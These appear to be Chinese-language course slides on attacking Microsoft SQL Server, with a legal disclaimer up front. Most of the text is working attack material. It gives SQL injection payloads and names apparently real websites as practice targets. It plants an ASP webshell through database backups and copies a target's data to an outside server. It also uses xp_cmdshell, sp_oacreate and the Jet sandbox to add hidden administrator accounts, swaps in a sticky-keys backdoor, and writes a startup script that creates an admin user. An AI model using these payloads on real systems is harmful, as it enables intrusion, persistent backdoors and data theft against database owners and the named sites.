

# 免责声明:

❧ 请遵守中华人民共和国法律

❧ 本课程只是安全技术交流，内容涉及的靶机实验，均为作者本人自己搭建，请勿从事违法犯罪活动。

# 中华人民共和国刑法(第285, 286条)

## ∞ 第二百八十五条

- ∞ 违反国家规定, 侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的, 处三年以下有期徒刑或者拘役。

## ∞ 第二百八十六条

- ∞ 违反国家规定, 对计算机信息系统功能进行删除、修改、增加、干扰, 造成计算机信息系统不能正常运行, 后果严重的, 处五年以下有期徒刑或者拘役; 后果特别严重的, 处五年以上有期徒刑。
- ∞ 违反国家规定, 对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作, 后果严重的, 依照前款的规定处罚。
- ∞ 故意制作、传播计算机病毒等破坏性程序, 影响计算机系统正常运行, 后果严重的, 依照第一款的规定处罚。

# MSSQL 介绍

必火网络安全: [www.bihuo.cn](http://www.bihuo.cn) 讲师: 必火 微信: 18622800700 QQ群: 10570999

# 前言

- ❧ MSSQL是指微软的SQLServer数据库服务器，它是一个数据库平台，提供数据库的从服务器到终端的完整的解决方案，其中数据库服务器部分，是一个数据库管理系统，用于建立、使用和维护数据库。
- ❧ SQL Server一开始并不是微软自己研发的产品，而是当时为了要和IBM竞争时，与Sybase合作所产生的，其最早的发展者是Sybase，同时微软也和Sybase合作过 SQL Server 4.2 版本的研发，微软亦将SQL Server 4.2移植到Windows NT（当时为3.1版），在与Sybase终止合作关系后，自力开发出SQL Server 6.0版，往后的SQL Server即均由微软自行研发。



# 版本

版本	年份	发布名称	代号
4.21 (WinNT)	1993年	SQL Server 4.21	-
6.0	1995年	SQL Server 6.0	SQL95
6.5	1996年	SQL Server 6.5	Hydra
7.0	1998年	SQL Server 7.0	Sphinx
-	1999年	SQL Server 7.0 OLAP工具	Plato
8.0	2000年	SQL Server 2000	Shiloh
8.0	2003年	SQL Server 2000 64-bit 版本	Liberty
9.0	2005年	SQL Server 2005	Yukon
10.0	2008年	SQL Server 2008	Katmai
11.0	2010年	SQL Server 2010	Kilimanjaro
12.0	2012年	SQL Server 2012	SQL2012

# 官网地址

<https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads>

🌀 <https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads>

🌀 最新版：2019

# 支持平台

在 Windows、Linux 和 Docker 容器上安装 SQL Server 2019



Windows



Linux



Docker

# sqlserver 2005

mysql:select \* from table limit 10

mssql:select top 10 \* from table

系统表的不同:

mysql:information\_schema, SCHEMATA, TABLES, COLUMNS

mssql:

表名表: sysobjects

列名表: SysColumns



# sqlserver 2005

- 查询所有表
- `select top 1 id,name from sysobjects where xtype=char(85)`
- `select top 1 id,name from sysobjects where xtype='U'`
- 查询某个表所有列
  - `declare @objid int,@objname char(40)`
  - `set @objname = 'admin'`
  - `select @objid = id from sysobjects where id = object_id(@objname)`
  - `select 'Column_name' = name from syscolumns where id = @objid order by colid`
- 或者
- `SELECT * from SysColumns WHERE id=Object_Id('cmd')`

# 判断注入

☞ +1-1

☞ 单引号

☞ /

☞ \

☞ select \* from vip\_user where id=222 waitfor DELAY  
'00:00:10';

# 判断注入类型

## 非显错注入



## 显错注入



# 非显错注入

- ❧ 判断显示位
- ❧ order by 1 (有瑕疵)
- ❧ union select null,null ...
  - ❧ uesr (查询用户)
  - ❧ db\_name() 数据库名
  - ❧ @@version
- ❧ select IS\_SRVROLEMEMBER('sysadmin') 判断权限
- ❧ mssql 角色 (db\_owner/public)
- ❧ <https://www.cnblogs.com/tiancai/p/4877969.html>



- ✂ http://192.168.31.73:8008/love/job\_show.asp?id=-10  
+UNION+ALL+SELECT+' 1', user, ' 3', ' 4', null, null, null, null, null, null, null, null, null, null, null, null, null, null--+-
- ✂ user dbo 表示是最高权限 如果是用户的名字，表示普通权限
- ✂ http://192.168.31.73:8008/love/job\_show.asp?id=-10  
+UNION+ALL+SELECT+' 1', NAME, ' 3', ' 4', null, null, null, null, null, null, null, null, null, null, null from sysobjects where type=' U' AND NAME NOT IN(' HECI')--+- （查询表名）
- ✂ http://192.168.31.73:8008/love/job\_show.asp?id=-10  
+UNION+ALL+SELECT+' 1', NAME, ' 3', ' 4', null, null, null, null, null, null, null, null, null, null, null from sysobjects where type=' U' AND NAME NOT IN(' HECI')--+- （查询表名）
- ✂ http://192.168.31.73:8008/love/job\_show.asp?id=-10  
+UNION+ALL+SELECT+' 1', NAME, ' 3', ' 4', null, null, null, null, null, null, null, null, null, null, null from syscolumns where id = object\_id(' admin')--+-



- ⌘ `and user>0--` 判断用户
- ⌘ `and db_name()>0--` 判断数据名字
- ⌘ `and @@version > 0--`
- ⌘ `a' group by admin.id having 1=1` (演示站  
<http://www.zjswy.com.cn/8290CF22B2070/admin.aspx>)
- ⌘ <http://www.yijinzhai.cn/adedit.aspx> (万能密码)
- ⌘ <https://github.com/Larryxi/MSSQL-SQLi-Labs>

# MSSQL显错注入

∞ 获取表名:

∞ a' and (select top 1 name from sysobjects where type='u') > 0 --

∞ 获取列名:

∞ a' and (select top 1 name from syscolumns where id=object\_id('admin') and name not in('\_id'))>0--

∞ 获取数据:

∞ a' and (select top 1 \_pwd from admin) > 0 --

∞ 问题: 如何获取整形值?

∞ a' and (select top 1 \_id from admin for xml path('')) =1 --

# 差异备份

- ⌘ --修改数据库恢复模式为完整模式
- ⌘ alter database sjzmssql set RECOVERY FULL--
- ⌘ create table cmd(a image)--
- ⌘ backup log [数据库名字] to disk='e:\1.bak' with init--
- ⌘ insert into cmd(a) values(0x3C256578656375746520726571756573742822612229253E)--
- ⌘ backup log [chinaxbn] to disk='e:\webhost\www3\one.asp' with init--
- ⌘ drop table cmd--
- ⌘ 第二种方法
- ⌘ backup database sjzmssql to disk = 'c:\ddd.bak' ;--
- ⌘ create table cmdx(a image)--
- ⌘ insert into cmdx(a) values(0x3C256578656375746520726571756573742822612229253E)--
- ⌘ backup database sjzmssql to disk='C:\Inetpub\wwwroot\8004-eweb\d.asp' WITH DIFFERENTIAL, FORMAT;--

# 获取磁盘文件

- ❧ `create table ##nonamed([name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);--`
- ❧ `insert nonamed execute master..xp_dirtree 'c:\',1,1--`
- ❧ --然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了
- ❧ `insert into openrowset('sqloledb', '127.0.0.1';'sa';'123456', 'select * from haqiu.dbo.newname') select * from ##nonamed--`
- ❧ `insert into opendatasource(' sqloledb' , ' server=211.11.11.11;uid=sa;pwd=fuck!!;database=test' ).test.dbo.ku select name from master.dbo.sysdatabases`
- ❧ `drop table ##nonamed`

# 提权xp\_cmdshell

- ∞ # 查看是否存在 xp\_cmdshell (返回非 0 即存在)
  - ∞ select count(\*) from master.dbo.sysobjects where xtype='x' and name='xp\_cmdshell';
- ∞ # 不存在的话可以添加
  - ∞ EXEC sp\_addextendedproc xp\_cmdshell, @dllname = 'xplog70.dll' declare @o int;
  - ∞ sp\_addextendedproc 'xp\_cmdshell', 'xpsql70.dll';
- ∞ # 查看是否开启了 xp\_cmdshell (试试命令是否能成功)
  - ∞ Exec master..xp\_cmdshell 'whoami';
- ∞ SQL Server2005在默认情况下, 一些存储过程是关闭着的, 需要命令打开
- ∞ 开启xp\_cmdshell:
  - ∞ exec sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure'xp\_cmdshell', 1;RECONFIGURE;
- ∞ 关闭xp\_cmdshell:
  - ∞ exec sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure'xp\_cmdshell', 0;RECONFIGURE;



# 提权方法sp\_oacreate

- ⌘ sp\_configure的作用是显示或更改当前服务器的全局配置设置，执行成功返回0，失败返回1
- ⌘ --开启
- ⌘ EXEC sp\_configure 'show advanced options', 1;
- ⌘ RECONFIGURE; --使前面的配置生效
- ⌘ EXEC sp\_configure 'Ole Automation Procedures', 1;
- ⌘ RECONFIGURE;
  
- ⌘ declare @shell int
- ⌘ --使用sp\_oacreate调用wscript.shell组件，将返回的对象存储到@shell变量中。
- ⌘ exec sp\_oacreate 'wscript.shell',@shell output
- ⌘ --使用sp\_oamethod 调用@shell对象中的Run方法，执行添加用户的命令，null是run方法的返回值，我们不需要用返回值，所以写null.
- ⌘ exec sp\_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'
- ⌘ exec sp\_oacreate 'wscript.shell',@shell output
- ⌘ --使用sp\_oamethod 调用@shell对象中的Run方法，执行添加用户的命令
- ⌘ exec sp\_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'
- ⌘ --关闭
- ⌘ sp\_configure 'Ole Automation Procedures', 0;
- ⌘ RECONFIGURE;
- ⌘ EXEC sp\_configure 'show advanced options', 0;
- ⌘ RECONFIGURE;

# 使用沙盒进行提权

☞ --提权语句

☞ `exec sp_configure 'show advanced options',1;reconfigure;`

☞ -- 不开启的话在执行xp\_regwrite会提示让我们开启,

☞ `exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;`

☞ --关闭沙盒模式, 如果一次执行全部代码有问题, 先执行上面两句代码。

☞ `exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;`

☞ --查询是否正常关闭, 经过测试发现沙盒模式无论是开, 还是关, 都不会影响我们执行下面的语句。

☞ `exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'`

☞ --执行系统命令

☞ `select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add"))')`

☞ `select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add"))')`

☞ --恢复配置

☞ `--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;`

☞ `--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;`

☞ `--exec sp_configure 'show advanced options',0;reconfigure;`

# sethc.exe 替换

☞ 利用sethc.exe 替换文件提权

☞ 替换c:\windows\system32\下的sethc.exe

☞ declare @o int

☞ exec sp\_oacreate 'scripting.filesystemobject', @o out

☞ exec sp\_oamethod @o,  
'copyfile',null,'c:\windows\system32\cmd.exe' , 'c:\windows\system32\sethc.exe' ;

☞ 替换c:\windows\system32\dllcache\sethc.exe

☞ declare @oo int

☞ exec sp\_oacreate 'scripting.filesystemobject', @oo out

☞ exec sp\_oamethod @oo,  
'copyfile',null,'c:\windows\system32\cmd.exe' , 'c:\windows\system32\dllcache\sethc.exe' ;

- 利用差异备份功能，把添加用户的命令添加到启动项start.bat
- alter database [abc] set RECOVERY FULL--
- create table cmd (a image)--
- backup log [abc] to disk = 'c:\cmd1' with init--
- insert into cmd (a) values  
(0x406563686F206F666660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)--
- backup log [abc] to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\start.bat'--
- drop table cmd--

# 插入代码

⌘@echo off

⌘@cd %windir%

⌘@net user admin admin /add

⌘@net localgroup administrators admin /add

⌘@del start.bat

⌘@exit

⌘@



# 谢谢观看

必火网络安全: [www.bihuo.cn](http://www.bihuo.cn) 讲师: 必火 微信: 18622800700 QQ群: 10570999